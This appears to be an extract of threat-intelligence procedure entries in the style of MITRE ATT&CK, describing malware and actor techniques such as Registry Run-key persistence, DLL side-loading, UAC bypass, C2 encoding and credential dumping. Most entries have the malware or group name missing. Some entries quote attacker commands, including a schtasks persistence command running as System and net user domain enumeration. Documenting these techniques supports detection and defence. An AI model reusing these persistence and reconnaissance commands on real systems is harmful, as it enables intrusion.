f) Hadoop YARN ResourceManager – Command Execution (exploit) g) CVE-2016-3088: Apache ActiveMQ Fileserver File Upload Remote Code Execution Vulnerability


The malware also contains an embedded .NET wrapper DLL for creating and managing scheduled tasks on Windows systems


"beacon" payload can collect information on process details.


"beacon" payload can receive C2 from one protocol and respond on another. This is typically a mixture of HTTP, HTTPS, and DNS traffic.


"beacon" payload is capable of capturing screen shots.


2 contains a "Destroy" plug-in that destroys data stored on victim hard drives by overwriting file contents.


A  .dll file is digitally signed by a certificate from AirVPN.


A  .dll that contains  is loaded and executed using DLL side-loading.


A  2 plug-in uses WMI to gather victim host details.


A backdoor used by  created a Tor hidden service to forward traffic from the Tor client to local ports 3389 (RDP), 139 (Netbios), and 445 (SMB) enabling full remote access from outside the network.


abuses NTFS transactions to launch and conceal malicious processes.


abuses the Windows DLL load order by using a legitimate Symantec anti-virus binary, VPDN_LU.exe, to load a malicious DLL that mimics a legitimate Symantec DLL, navlu.dll.


accessed email accounts using Outlook Web Access.


accesses network share(s), enables share access to the target device, and copies an executable payload to the target system, and uses a  to execute the malware.


accesses the HKLM\System\CurrentControlSet\Services\mssmbios\Data\SMBiosData Registry key to obtain the System manufacturer value to identify the machine type.


achieves persistence by adding a shortcut of itself to the startup path in the Registry.


achieves persistence by adding itself to the HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run Registry key.


achieves persistence by creating a Registry entry in HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run.


achieves persistence by creating a shortcut in the current user's Startup folder.


achieves persistence by creating a shortcut to itself in the CSIDL_STARTUP directory.


achieves persistence by making an entry in the Registry's Run key.


achieves persistence by setting a Registry Run key, with the path depending on whether the victim account has user or administrator access.


actors have been known to copy files to the network shares of other computers to move laterally.


actors have been known to use the Sticky Keys replacement within RDP sessions to obtain persistence.


actors have split RAR files for exfiltration into parts.


actors have used  and a modified version of  called Wrapikatz to dump credentials. They have also dumped credentials from domain controllers.


actors have used DLL side-loading. Actors have used legitimate Kaspersky anti-virus variants in which the DLL acts as a stub loader that loads and executes the shell code.


actors leverage legitimate credentials to log into external remote services.


actors obtained a list of active processes on the victim and sent them to C2 servers.


actors obtain legitimate credentials using a variety of methods and use them to further lateral movement on victim networks.


actors spawned shells on remote systems on a victim network to execute commands.


actors used compromised credentials for the victim's endpoint management platform, Altiris, to move laterally.


actors used legitimate credentials of banking employees to perform operations that sent them millions of dollars.


actors used the following command following exploitation of a machine with  malware to display network connections: netstat -ano >> %temp%\download


actors used the following command following exploitation of a machine with  malware to obtain information about services: net start >> %temp%\download


actors used the following commands after exploiting a machine with  malware to obtain information about files and directories: dir c:\ >> %temp%\download dir "c:\Documents and Settings" >> %temp%\download dir "c:\Program Files\" >> %temp%\download dir d:\ >> %temp%\download


actors used the following commands following exploitation of a machine with  malware to enumerate user accounts: net user >> %temp%\download net user /domain >> %temp%\download


actors used the following command to rename one of their tools to a benign file name: ren "%temp%\upload" audiodg.exe


actors used the native  Windows task scheduler tool to use scheduled tasks for execution on a victim network.


actors use nbtscan to discover vulnerable systems.


actors use the Hunter tool to conduct network service discovery for vulnerable systems.


actors use  to schedule tasks to run self-extracting RAR archives, which install  or  on other victims on a network.


added "junk data" to each encoded string, preventing trivial decoding without knowledge of the junk removal algorithm. Each implant was given a "junk length" value when created, tracked by the controller software to allow seamless communication but prevent analysis of the command protocol on the wire.


added junk data to outgoing UDP packets to peer implants.


added newly created accounts to the administrators group to maintain elevated access.


added Registry Run keys to establish persistence.


adds a .lnk file to the Windows startup folder.


adds a .plist file to the /Library/LaunchAgents folder to maintain persistence.


adds an entry to the rc.common file for persistence.


adds a new service named NetAdapter in an apparent attempt to masquerade as a legitimate service.


adds a new service named NetAdapter to establish persistence.


adds a Registry Run key for ctfmon.exe to establish persistence.


adds a Registry Run key for persistence and adds a script in the Startup folder to deploy the payload.


adds a Registry Run key to establish persistence.


adds Registry Run keys to achieve persistence.


A Destover-like implant used by  can obtain the current system time and send it to the C2 server.


A Destover-like variant used by  uses a batch file mechanism to delete its binaries from the system.


A dropper used by  installs itself into the ASEP Registry key HKCU\Software\Microsoft\Windows\CurrentVersion\Run with a value named McUpdate.


Adversaries can instruct  to spread laterally by copying itself to shares it has enumerated and for which it has obtained legitimate credentials (via keylogging or other means). The remote host is then infected by using the compromised credentials to schedule a task on remote machines that executes the malware.


A  file stealer can communicate over HTTP for C2.


A  file stealer can gather the victim's computer name and drive serial numbers to send to a C2 server.


A  file stealer can gather the victim's username to send to a C2 server.


A  file stealer can run a TaskScheduler DLL to add persistence.


A  file stealer has the capability to steal data from newly connected logical volumes on a system, including USB drives.


A  file stealer transfers collected files to a hardcoded C2 server.


After collecting files and logs from the victim,  encrypts some collected data with Blowfish.


After compromising a victim,  lists all running processes.


After copying itself to a DLL file, a variant of  calls the DLL file using rundll32.exe.


After decrypting itself in memory,  downloads a DLL file from its C2 server and loads it in the memory space of a hidden Internet Explorer process. This “downloaded” file is actually not dropped onto the system.


After downloading its main config file,  downloads multiple payloads from C2 servers.


After encrypting C2 data,  converts it into a hexadecimal representation and then encodes it into base64.


After encrypting log files, the log encryption module in  deletes the original, unencrypted files from the host.


After initial compromise,  will download a second stage to establish a more permanent presence on the affected system.


After using raw sockets to communicate with its C2 server,  uses a decrypted string to create HTTP POST requests.


aggregates collected data in a tmp file.


A  implant file was named ASPNET_FILTER.DLL, mimicking the legitimate ASP.NET ISAPI filter DLL with the same name.


A  Javascript backdoor added a local_update_check value under the Registry key HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run to establish persistence. Additionally, a  custom executable containing Metasploit shellcode is saved to the Startup folder to gain persistence.


A  JavaScript backdoor has used Google Apps Script as its C2 server.


A keylogging tool used by  gathers network information from the victim, including the MAC address, IP address, WINS, DHCP server, and gateway.


A Linux version of  checks if the victim user ID is anything other than zero (normally used for root), and the malware will not execute if it does not have root privileges.  also gathers the username of the victim.


allows actors to spawn a reverse shell on a victim.


allows adversaries to enumerate and modify the infected host's file system. It supports searching for directories, creating directories, listing directory contents, reading and writing to files, retrieving file attributes, and retrieving volume information.


allows adversaries to execute shell commands on the infected host.


allows adversaries to modify the way the "beacon" payload communicates. This is called "Malleable C2" in the  manual and is intended to allow a penetration test team to mimic known APT C2 methods.


A  macro deletes files after it has decoded and decompressed them.


A  malware sample adds persistence on the system by creating a shortcut in the user’s Startup folder.


A  malware sample encodes data with base64.


A  malware sample performs reflective DLL injection.


A  module has a default C2 port of 13000.


A module in  collects information from the victim about installed anti-virus software.


A module in  collects information from the victim about its IP addresses and MAC addresses.


A module in  collects information from the victim about the current user name.


A module in  collects information from the victim about Windows OS version, computer name, battery info, and physical memory.


A module in  collects information on available printers and disk drives.


An  backdoor may collect the entire contents of an inserted USB device.


An  downloader creates persistence by creating the following scheduled task: schtasks /create /tn "mysc" /tr C:\Users\Public\test.exe /sc ONLOGON /ru "System".


An  downloader establishes SOCKS5 connections for its initial C2.


An  downloader first establishes a SOCKS5 connection to 192.157.198[.]103 using TCP port 1913; once the server response is verified, it then requests a connection to 192.184.60[.]229 on TCP port 81.


An  downloader uses the Windows command "cmd.exe" /C whoami. The group also uses a tool to execute commands on remote computers.


An  downloader uses the Windows command "cmd.exe" /C whoami to verify that it is running with the elevated privileges of “System.”


An executable dropped onto victims by  aims to inject the specified DLL into a process that would normally be accessing the network, including Outlook Express (msinm.exe), Outlook (outlook.exe), Internet Explorer (iexplore.exe), and Firefox (firefox.exe).


An  HTTP malware variant decrypts strings using single-byte XOR keys.


An  HTTP malware variant establishes persistence by setting the Registry key HKCU\Software\Microsoft\Windows\CurrentVersion\Run\Windows Debug Tools-%LOCALAPPDATA%\.


An  HTTP malware variant used Base64 to encode communications to the C2 server.


An  loader Trojan adds the Registry key HKCU\Environment\UserInitMprLogonScript to establish persistence.


An  loader Trojan uses a batch script to run its payload.


An  loader Trojan will enumerate the victim's processes searching for explorer.exe if its current process does not have necessary permissions.


An older variant of  performs UAC bypass.


An older version of  has a module that monitors all mounted volumes for files with the extensions .doc, .docx, .pgp, .gpg, .m2f, or .m2o.


An  Port 22 malware variant registers itself as a service.


A  payload deletes Resiliency Registry keys created by Microsoft Office applications in an apparent effort to trick users into thinking there were no issues during application runs.


A  payload has searched all fixed drives on the victim for files matching a specified list of extensions.


A  payload uses process hollowing to hide the UAC bypass vulnerability exploitation inside svchost.exe.


APIs and strings in some  variants are RC4 encrypted. Another variant is encoded with XOR.


apparently altered  samples by adding four bytes of random letters in a likely attempt to change the file hashes.


appears to have functionality to modify remote Registry information.


appends a file signature header (randomly selected from six file types) to encrypted data prior to upload or download.


appends a total of 64MB of garbage data to a file to deter any security products in place that may be scanning files on disk.


As part of the data reconnaissance phase,  grabs the system time to send back to the control server.


A system info module in  gathers information on the victim host’s configuration.


A  tool can create a new service, naming it after the config information, to gain persistence.


A  tool can encrypt payloads using XOR.  malware is also obfuscated using Metasploit’s shikata_ga_nai encoder as well as compressed with LZNT1 compression.


A  tool can read and decrypt stored Registry values.


A  tool can spawn svchost.exe and inject the payload into that process.


A  tool can use a public UAC bypass method to elevate privileges.


A  tool can use WMI to execute a binary.


attempted to contact the C2 server over TCP using port 80.


attempted to get users to click on an embedded macro within a Microsoft Office Excel document to launch their malware.


attempted to get users to click on Microsoft Excel attachments containing malicious macro scripts.


attempted to get users to launch malicious attachments delivered via spearphishing emails.


attempted to get users to launch malicious Microsoft Office attachments delivered via spearphishing emails.


attempted to trick targets into clicking on a link featuring a seemingly legitimate domain from Adobe.com to download their malware and gain initial access.


attempts to access the ADMIN$, C$\Windows, D$\Windows, and E$\Windows shares on the victim with its current privileges.


attempts to add a shortcut file in the Startup folder to achieve persistence.


attempts to add a shortcut file in the Startup folder to achieve persistence. If this fails, it attempts to add Registry Run keys.


attempts to avoid detection by checking a first stage command and control server to determine if it should connect to the second stage server, which performs "louder" interactions with the malware.


attempts to bypass default User Access Control (UAC) settings by exploiting a backward-compatibility setting found in Windows 7 and later.


attempts to detect several anti-virus products.


attempts to disable UAC remote restrictions by modifying the Registry.


attempts to download an encrypted binary from a specified domain.


attempts to escalate privileges by bypassing User Access Control.


attempts to exploit privilege escalation vulnerabilities CVE-2010-0232 or CVE-2010-4398.


attempts to hide its payloads using legitimate filenames.